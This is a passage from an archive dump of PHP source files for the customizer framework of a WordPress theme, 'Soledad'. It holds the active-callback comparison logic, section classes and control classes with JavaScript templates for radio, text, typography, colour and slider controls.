	 * @return boolean
	 */
	public function evaluate( $active_callback ) {
		$this->active_flag = true;
		$fields            = $this->get_customizer()->get_fields();

		foreach ( $active_callback as $active ) {
			$field = $fields[ $active['setting'] ];
			$type  = isset( $field['option_type'] ) ? $field['option_type'] : '';

			if ( 'option' === $type ) {
				$current_setting = $this->get_option( $active['setting'] );
			} else {
				$current_setting = Setting::get( $active['setting'] );
			}

			$this->active_flag = $this->active_flag && $this->compare( $active['value'], $current_setting, $active['operator'] );
		}

		return $this->active_flag;
	}

	/**
	 * Evaluate by id
	 *
	 * @param string $id Setting ID to evaluate.
	 *
	 * @return bool
	 */
	public function evaluate_by_id( $id ) {
		$this->active_flag = true;

		$fields = $this->get_customizer()->get_all_fields();

		if ( isset( $fields[ $id ] ) ) {
			$field = $fields[ $id ];

			if ( isset( $field['active_callback'] ) ) {
				$active_callback = $field['active_callback'];

				foreach ( $active_callback as $active ) {
					$current_setting   = Setting::get( $active['setting'], $fields[ $active['setting'] ]['default'] );
					$this->active_flag = $this->active_flag && $this->compare( $active['value'], $current_setting, $active['operator'] );
				}
			}
		}

		return $this->active_flag;
	}

	/**
	 * Compares the 2 values given the condition
	 *
	 * @param mixed $value1 The 1st value in the comparison.
	 * @param mixed $value2 The 2nd value in the comparison.
	 * @param string $operator The operator we'll use for the comparison.
	 *
	 * @return boolean whether The comparison has succeded (true) or failed (false).
	 */
	public function compare( $value1, $value2, $operator ) {
		switch ( $operator ) {
			case '===':
				$show = ( $value1 === $value2 ) ? true : false;
				break;
			case '==':
			case '=':
			case 'equals':
			case 'equal':
				$show = ( $value1 === $value2 ) ? true : false;
				break;
			case '!==':
				$show = ( $value1 !== $value2 ) ? true : false;
				break;
			case '!=':
			case 'not equal':
				$show = ( $value1 !== $value2 ) ? true : false;
				break;
			case '>=':
			case 'greater or equal':
			case 'equal or greater':
				$show = ( $value1 >= $value2 ) ? true : false;
				break;
			case '<=':
			case 'smaller or equal':
			case 'equal or smaller':
				$show = ( $value1 <= $value2 ) ? true : false;
				break;
			case '>':
			case 'greater':
				$show = ( $value1 > $value2 ) ? true : false;
				break;
			case '<':
			case 'smaller':
				$show = ( $value1 < $value2 ) ? true : false;
				break;
			case 'contains':
			case 'in':
				if ( is_array( $value1 ) && ! is_array( $value2 ) ) {
					$array  = $value1;
					$string = $value2;
				} elseif ( is_array( $value2 ) && ! is_array( $value1 ) ) {
					$array  = $value2;
					$string = $value1;
				}
				if ( isset( $array ) && isset( $string ) ) {
					if ( ! in_array( $string, $array, true ) ) {
						$show = false;
					}
				} else {
					if ( false === strrpos( $value1, $value2 ) && false === strpos( $value2, $value1 ) ) {
						$show = false;
					}
				}
				break;
			default:
				$show = ( $value1 === $value2 ) ? true : false;

		}

		if ( isset( $show ) ) {
			return $show;
		}

		return true;
	}

}
PK     0w\
      @  customizer/framework/customizer/section/class-helper-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */
namespace SoledadFW\Customizer\Section;

/**
 * Default Settings
 */
class Helper_Section extends \WP_Customize_Section {}

PK     0w\)+      A  customizer/framework/customizer/section/class-default-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */
namespace SoledadFW\Customizer\Section;

/**
 * Default Settings
 */
class Default_Section extends \WP_Customize_Section {}
PK     0w\
66    >  customizer/framework/customizer/section/class-link-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Section;

use Error;

class Link_Section extends Default_Section {
	const TYPE = 'link';

	/**
	 * Type of control, used by JS.
	 *
	 * @access public
	 * @var string
	 */
	public $type = self::TYPE;

	public $url = '';

	public $label = '';

	/**
	 * Render the panel's JS templates.
	 *
	 * This function is only run for panel types that have been registered with
	 * WP_Customize_Manager::register_panel_type().
	 *
	 * @see WP_Customize_Manager::register_panel_type()
	 */
	public function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-section control-section-{{ data.type }} cannot-expand {{ data.additional_class }}">
			<h3 class="accordion-section-title">
				<a href="{{{ data.url }}}" target="_blank" data-label="{{ data.label }}">
					<span>{{ data.title }}</span>
					<# if ( 'string' === typeof data.additional_class && 'locked' === data.additional_class ) { #>
						<button class="activate-license" >Activate</button>
					<# } #>
				</a>
			</h3>
		</li>
		<?php
	}

	/**
	 * Export data to JS.
	 *
	 * @return array
	 */
	public function json() {
		$data                     = parent::json();
		$data['url']              = esc_url( $this->url );
		$data['additional_class'] = 'activate-license' === $this->url ? 'locked' : '';
		$data['url']              = ! empty( $data['additional_class'] ) ? esc_url( get_admin_url() ) : $data['url'];

		return $data;
	}
}
PK     0w\$]  ]  >  customizer/framework/customizer/section/class-lazy-section.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Section;

/*****
 * Lazy section
 */
class Lazy_Section extends Default_Section {
	const TYPE = 'lazy';

	/**
	 * Type of control, used by JS.
	 *
	 * @access public
	 * @var string
	 */
	public $type = self::TYPE;

	public $ajax_call;

	public $dependency;

	/**
	 * Render the panel's JS templates.
	 *
	 * This function is only run for panel types that have been registered with
	 * WP_Customize_Manager::register_panel_type().
	 *
	 * @see WP_Customize_Manager::register_panel_type()
	 */
	public function print_template() {
		?>
		<script type="text/html" id="tmpl-customize-lazy-section-loading">
			<li class="customize-lazy-section-loading">
				<div class="loader">{{ data.loading }}</div>
			</li>
		</script>
		<?php
		parent::print_template();
	}

	/**
	 * Export data to JS.
	 *
	 * @return array
	 */
	public function json() {
		$data               = parent::json();
		$data['ajax_call']  = $this->ajax_call;
		$data['dependency'] = $this->dependency;

		return $data;
	}
}
PK     0w\m2    >  customizer/framework/customizer/partial/class-lazy-partial.phpnu [        <?php
/**
 * @author      SoledadFWtheme
 * @license     https://opensource.org/licenses/MIT
 */

namespace SoledadFW\Customizer\Partial;

/**
 * Default Settings
 */
class Lazy_Partial extends \WP_Customize_Partial {

	/**
	 * Pattern : partial(section)(id)
	 *
	 * @var string pattern
	 */
	public static $pattern = '/^partial\((?P<section>[^\)]+)\)\((?P<id>[^\)]+)\)$/';

	/**
	 * Pattern to be replaced in javascript
	 */
	public static function js_pattern_template() {
		return 'partial({section})({id})';
	}
}
PK     0w\dwF.  .  6  customizer/framework/customizer/control/class-code.phpnu [        <?php

namespace SoledadFW\Customizer\Control;
class Code extends Control_Abstract {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'soledad-fw-code';

	/**
	 * Type of code that is being edited.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $code_type = '';

	/**
	 * Code editor settings.
	 *
	 * @see wp_enqueue_code_editor()
	 * @since 4.9.0
	 * @var array|false
	 */
	public $editor_settings = array();

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.9.0
	 */
	public function enqueue() {
		$this->editor_settings = wp_enqueue_code_editor(
			array_merge(
				array(
					'type'       => $this->code_type,
					'codemirror' => array(
						'indentUnit' => 2,
						'tabSize'    => 2,
					),
				),
				$this->editor_settings
			)
		);
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Control::json()
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function to_json() {
		$this->enqueue();
		parent::to_json();
		$this->json['editor_settings'] = $this->editor_settings;
		$this->json['input_attrs']     = $this->input_attrs;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for control display.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		?>
		<# var elementIdPrefix = 'el' + String( Math.random() ); #>
		<# if ( data.label ) { #>
			<label for="{{ elementIdPrefix }}_editor" class="customize-control-title">
				{{ data.label }}
			</label>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<textarea id="{{ elementIdPrefix }}_editor"
			<# _.each( _.extend( { 'class': 'code' }, data.input_attrs ), function( value, key ) { #>
				{{{ key }}}="{{ value }}"
			<# }); #>
			></textarea>
		<?php
	}
}
PK     0w\<dT  T  7  customizer/framework/customizer/control/class-radio.phpnu [        <?php
/**
 * Customizer Control: radio.
 *
 * Creates a radio
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Radio extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-radio';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<span class="customize-control-title">
			{{{ data.label }}}
		</span>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<# for ( key in data.choices ) { #>
			<span class="customize-inside-control-row">
				<input id="_customize-input-{{ data.id }}-{{ key }}" type="radio" value="{{ key }}" name="_customize-radio-{{{ data.id }}}" id="{{ data.id }}{{ key }}" {{{ data.link }}}<# if ( key === data.value ) { #> checked="checked" <# } #>/>
				<label for="_customize-input-{{ data.id }}-{{ key }}">
					{{ data.choices[ key ] }}
				</label>
			</span>
		<# } #>
		<?php
	}
}
PK     0w\U    6  customizer/framework/customizer/control/class-text.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Text extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-text';

	/**
	 * The input type
	 *
	 * @access public
	 * @var string
	 */
	public $input_type = 'text';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div>
				<input type="<?php echo esc_attr( $this->input_type ); ?>" {{{ data.link }}} value="{{ data.value }}"/>
			</div>
		</label>
		<?php
	}
}
PK     0w\'D    8  customizer/framework/customizer/control/class-preset.phpnu [        <?php
/**
 * Customizer Control: preset.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Preset control (modified select).
 */
class Preset extends Control_Abstract {

    /**
     * The control type.
     *
     * @access public
     * @var string
     */
    public $type = 'soledad-fw-preset';

    /**
     * Used to automatically generate all CSS output.
     *
     * @access public
     * @var array
     */
    public $output = array();

    /**
     * Data type
     *
     * @access public
     * @var string
     */
    public $option_type = 'theme_mod';

    /**
     * Refresh the parameters passed to the JavaScript via JSON.
     *
     * @see WP_Customize_Control::to_json()
     */
    public function to_json() {
        parent::to_json();

        $this->json['default'] = $this->setting->default;
        if ( isset( $this->default ) ) {
            $this->json['default'] = $this->default;
        }
        $this->json['output']  = $this->output;
        $this->json['value']   = $this->value();
        $this->json['choices'] = $this->choices;
        $this->json['link']    = $this->get_link();
        $this->json['id']      = $this->id;

        if ( 'user_meta' === $this->option_type ) {
            $this->json['value'] = get_user_meta( get_current_user_id(), $this->id, true );
        }

        $this->json['inputAttrs'] = '';
        foreach ( $this->input_attrs as $attr => $value ) {
            $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
        }
    }

    /**
     * An Underscore (JS) template for this control's content (but not its container).
     *
     * Class variables for this control class are available in the `data` JS object;
     * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
     *
     * @see WP_Customize_Control::print_template()
     *
     * @access protected
     */
    protected function content_template() {
        ?>
        <# if ( ! data.choices ) return; #>
            <label>
                <# if ( data.label ) { #>
                    <span class="customize-control-title">{{ data.label }}</span>
                <# } #>
                <# if ( data.description ) { #>
                    <span class="description customize-control-description">{{{ data.description }}}</span>
                <# } #>
                <select {{{ data.inputAttrs }}} {{{ data.link }}} data-multiple="1">
                    <# for ( key in data.choices ) { #>
                        <option value="{{ key }}"<# if ( key === data.value ) { #>selected<# } #>>
                            {{ data.choices[ key ]['label'] }}
                        </option>
                    <# } #>
                </select>
            </label>
        <?php
    }
}
PK     0w\U3    8  customizer/framework/customizer/control/class-header.phpnu [        <?php
/**
 * Customizer Control: Header
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Header extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-header';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<h2 class="customize-control-title" tabindex="">{{{ data.label }}}</h2>
			<# } #>
			<# if ( data.description ) { #>
				<em class="description customize-control-description">{{{ data.description }}}</em>
			<# } #>
		</label>
		<?php
	}
}
PK     0w\?    9  customizer/framework/customizer/control/class-spacing.phpnu [        <?php
/**
 * Customizer Control: spacing
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Spacing control.
 * multiple checkboxes with CSS units validation.
 */
class Spacing extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-spacing';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['choices'] = array();
		if ( is_array( $this->choices ) ) {
			foreach ( $this->choices as $choice => $value ) {
				if ( true === $value ) {
					$this->json['choices'][ $choice ] = true;
				}
			}
		}

		if ( is_array( $this->json['default'] ) ) {
			foreach ( $this->json['default'] as $key => $value ) {
				if ( isset( $this->json['choices'][ $key ] ) && ! isset( $this->json['value'][ $key ] ) ) {
					$this->json['value'][ $key ] = $value;
				}
			}
		}
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="wrapper">
				<div class="control">
					<# for ( choiceKey in data.default ) { #>
						<div class="{{ choiceKey }}">
							<h5>{{ choiceKey }}</h5>
							<div class="{{ choiceKey }} input-wrapper">
								<input type="text" value="{{ data.value[ choiceKey ] }}"/>
								<span class="invalid-value"><?php echo esc_attr__( 'Value Invalid', 'soledad' ); ?></span>
							</div>
						</div>
					<# } #>
				</div>
			</div>
		</label>
		<?php
	}
}
PK     0w\7T@  @  8  customizer/framework/customizer/control/class-toggle.phpnu [        <?php
/**
 * Customizer Control: toggle
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Toggle control (modified checkbox).
 */
class Toggle extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-toggle';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<# if ( data.tooltip ) { #>
			<a href="#" class="tooltip hint--left" data-hint="{{ data.tooltip }}"><span class='dashicons dashicons-info'></span></a>
		<# } #>
		<label for="toggle_{{ data.id }}">
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<input name="toggle_{{ data.id }}" id="toggle_{{ data.id }}" type="checkbox" value="{{ data.value }}" {{{ data.link }}} <# if ( '1' == data.value ) { #> checked<# } #> hidden />
			<span  class="switch"></span>
		</label>
		<?php
	}
}
PK     0w\#5    8  customizer/framework/customizer/control/class-slider.phpnu [        <?php
/**
 * Customizer Control: slider.
 *
 * Creates a jQuery slider control.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Slider extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-slider';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['choices']['min']  = ( isset( $this->choices['min'] ) ) ? $this->choices['min'] : '0';
		$this->json['choices']['max']  = ( isset( $this->choices['max'] ) ) ? $this->choices['max'] : '100';
		$this->json['choices']['step'] = ( isset( $this->choices['step'] ) ) ? $this->choices['step'] : '1';
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="wrapper">
				<input type="range" min="{{ data.choices['min'] }}" max="{{ data.choices['max'] }}" step="{{ data.choices['step'] }}" value="{{ data.value }}" {{{ data.link }}} data-reset_value="{{ data.default }}" />
				<div class="soledad_fw_range_value">
					<span class="value">{{ data.value }}</span>
					<# if ( data.choices['suffix'] ) { #>
						{{ data.choices['suffix'] }}
					<# } #>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>
		</label>
		<?php
	}
}
PK     0w\1    <  customizer/framework/customizer/control/class-typography.phpnu [        <?php
/**
 * Customizer Control: typography
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */
namespace SoledadFW\Customizer\Control;

/**
 * Typography control.
 */
class Typography extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-typography';


	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$defaults = array(
				'font-family'    	=> false,
				'font-size'      	=> false,
				'variant'        	=> false,
				'line-height'    	=> false,
				'letter-spacing' 	=> false,
				'color'          	=> false,
				'text-align'     	=> false,
				'text-transform'	=> true,
				'show_variants'		=> true,
				'show_subsets'		=> false,
		);

		$this->json['default'] = wp_parse_args( $this->json['default'], $defaults );
		$this->json['show_variants'] = $this->json['default']['show_variants'];
		$this->json['show_subsets']  = $this->json['default']['show_subsets'];
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>

		<div class="wrapper">

			<# if ( false !== data.default['font-family'] ) { #>
				<# if ( '' == data.value['font-family'] ) { data.value['font-family'] = data.default['font-family']; } #>
				<# if ( data.choices['fonts'] ) { data.fonts = data.choices['fonts']; } #>
				<div class="font-family">
					<h5>Font Family</h5>
					<select id="soledad-fw-typography-font-family-{{{ data.id }}}" placeholder="<?php echo esc_attr__('Select Font Family', 'soledad'); ?>"></select>
				</div>
				<# if ( true === data.show_variants || false !== data.default.variant ) { #>
					<div class="variant hide-on-standard-fonts soledad-fw-variant-wrapper">
						<h5>Font Variant</h5>
						<select class="variant" id="soledad-fw-typography-variant-{{{ data.id }}}"></select>
					</div>
				<# } #>
				<# if ( true === data.show_subsets ) { #>
					<div class="subsets hide-on-standard-fonts soledad-fw-subsets-wrapper">
						<h5>Font Subsets</h5>
						<select class="subset" id="soledad-fw-typography-subsets-{{{ data.id }}}"></select>
					</div>
				<# } #>
			<# } #>

			<# if ( false !== data.default['font-size'] ) { #>
				<div class="font-size">
					<h5>Font Size</h5>
					<input type="text" value="{{ data.value['font-size'] }}"/>
				</div>
			<# } #>

			<# if ( false !== data.default['line-height'] ) { #>
				<div class="line-height">
					<h5>Line Height</h5>
					<input type="text" value="{{ data.value['line-height'] }}"/>
				</div>
			<# } #>

			<# if ( false !== data.default['letter-spacing'] ) { #>
				<div class="letter-spacing">
					<h5>Letter Spacing</h5>
					<input type="text" value="{{ data.value['letter-spacing'] }}"/>
				</div>
			<# } #>

			<# if ( false !== data.default['text-align'] ) { #>
				<div class="text-align">
					<h5>Text Align</h5>
					<input type="radio" value="inherit" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-inherit" <# if ( data.value['text-align'] === 'inherit' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-inherit">
							<span class="dashicons dashicons-editor-removeformatting"></span>
							<span class="screen-reader-text">Inherit</span>
						</label>
					</input>
					<input type="radio" value="left" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-left" <# if ( data.value['text-align'] === 'left' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-left">
							<span class="dashicons dashicons-editor-alignleft"></span>
							<span class="screen-reader-text">Left</span>
						</label>
					</input>
					<input type="radio" value="center" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-center" <# if ( data.value['text-align'] === 'center' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-center">
							<span class="dashicons dashicons-editor-aligncenter"></span>
							<span class="screen-reader-text">Center</span>
						</label>
					</input>
					<input type="radio" value="right" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-right" <# if ( data.value['text-align'] === 'right' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-right">
							<span class="dashicons dashicons-editor-alignright"></span>
							<span class="screen-reader-text">Right</span>
						</label>
					</input>
					<input type="radio" value="justify" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-justify" <# if ( data.value['text-align'] === 'justify' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-justify">
							<span class="dashicons dashicons-editor-justify"></span>
							<span class="screen-reader-text">Justify</span>
						</label>
					</input>
				</div>
			<# } #>

			<# if ( false !== data.default['text-transform'] ) { #>
				<div class="text-transform">
					<h5>Transform</h5>
					<select id="soledad-fw-typography-text-transform-{{{ data.id }}}">
						<option value="none"<# if ( 'none' === data.value['text-transform'] ) { #>selected<# } #>>None</option>
						<option value="capitalize"<# if ( 'capitalize' === data.value['text-transform'] ) { #>selected<# } #>>Capitalize</option>
						<option value="uppercase"<# if ( 'uppercase' === data.value['text-transform'] ) { #>selected<# } #>>Uppercase</option>
						<option value="lowercase"<# if ( 'lowercase' === data.value['text-transform'] ) { #>selected<# } #>>Lowercase</option>
						<option value="initial"<# if ( 'initial' === data.value['text-transform'] ) { #>selected<# } #>>Initial</option>
						<option value="inherit"<# if ( 'inherit' === data.value['text-transform'] ) { #>selected<# } #>>Inherit</option>
					</select>
				</div>
			<# } #>

			<# if ( false !== data.default['color'] ) { #>
				<div class="color">
					<h5>Color</h5>
					<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default['color'] }}" value="{{ data.value['color'] }}" class="soledad-fw-color-control color-picker"/>
				</div>
			<# } #>
		</div>
		<?php
	}
}
PK     0w\qe:;1  1  8  customizer/framework/customizer/control/class-select.phpnu [        <?php
/**
 * Customizer Control: kirki-select.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Select control.
 */
class Select extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-select';

	/**
	 * Maximum number of options the user will be able to select.
	 * Set to 1 for single-select.
	 *
	 * @access public
	 * @var int
	 */
	public $multiple = 1;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['multiple'] = $this->multiple;
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<# if ( ! data.choices ) return; #>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{ data.label }}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<select {{{ data.link }}} data-multiple="{{ data.multiple }}"<# if ( 1 < data.multiple ) { #> multiple<# } #>>
				<# if ( 1 < data.multiple && data.value ) { #>
					<# for ( key in data.value ) { #>
						<option value="{{ data.value[ key ] }}" selected>{{ data.choices[ data.value[ key ] ] }}</option>
					<# } #>
					<# for ( key in data.choices ) { #>
						<# if ( data.value[ key ] in data.value ) { #>
						<# } else { #>
							<option value="{{ key }}">{{ data.choices[ key ] }}</option>
						<# } #>
					<# } #>
				<# } else { #>
					<# for ( key in data.choices ) { #>
						<option value="{{ key }}"<# if ( key === data.value ) { #>selected<# } #>>{{ data.choices[ key ] }}</option>
					<# } #>
				<# } #>
			</select>
		</label>
		<?php
	}
}
PK     0w\?D    >  customizer/framework/customizer/control/class-range-slider.phpnu [        <?php
/**
 * Customizer Control: slider.
 *
 * Creates a jQuery slider control.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Range_Slider extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-range-slider';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['choices']['min']  = ( isset( $this->choices['min'] ) ) ? $this->choices['min'] : '0';
		$this->json['choices']['max']  = ( isset( $this->choices['max'] ) ) ? $this->choices['max'] : '100';
		$this->json['choices']['step'] = ( isset( $this->choices['step'] ) ) ? $this->choices['step'] : '1';
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="wrapper">
				<div class="slider-range" range="{{data.value}}" bottom="{{data.value}}" min="{{ data.choices['min'] }}" max="{{ data.choices['max'] }}" step="{{ data.choices['step'] }}"></div>
			</div>
		</label>
		<?php
	}
}
PK     0w\ua  a  7  customizer/framework/customizer/control/class-color.phpnu [        <?php
/**
 * Customizer Control: color.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Adds a color & color-alpha control
 *
 * @see https://github.com/23r9i0/wp-color-picker-alpha
 */
class Color extends Control_Abstract {
	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-color';

	/**
	 * Colorpicker palette
	 *
	 * @access public
	 * @var bool
	 */
	public $palette = true;


	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['palette']  = $this->palette;
		$this->choices['alpha'] = ( isset( $this->choices['alpha'] ) && $this->choices['alpha'] ) ? 'true' : 'false';
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div>
				<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default }}" data-alpha="{{ data.choices['alpha'] }}" value="{{ data.value }}" class="soledad-fw-color-control" {{{ data.link }}} />
			</div>
		</label>
		<?php
	}
}
PK     0w\n0t    ;  customizer/framework/customizer/control/class-box-model.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

use WP_Customize_Setting;

/**
 * Create a simple number control
 */
class Box_Model extends Control_Abstract {
	/**
	 * Control type
	 *
	 * @var string
	 */
	public $type = 'soledad-fw-box-model';

	public function to_json() {
		parent::to_json();
		$label                      = [
			0  => 'Top',
			1  => 'Right',
			2  => 'Bottom',
			3  => 'Left',
			4  => 'Top',
			5  => 'Right',
			6  => 'Bottom',
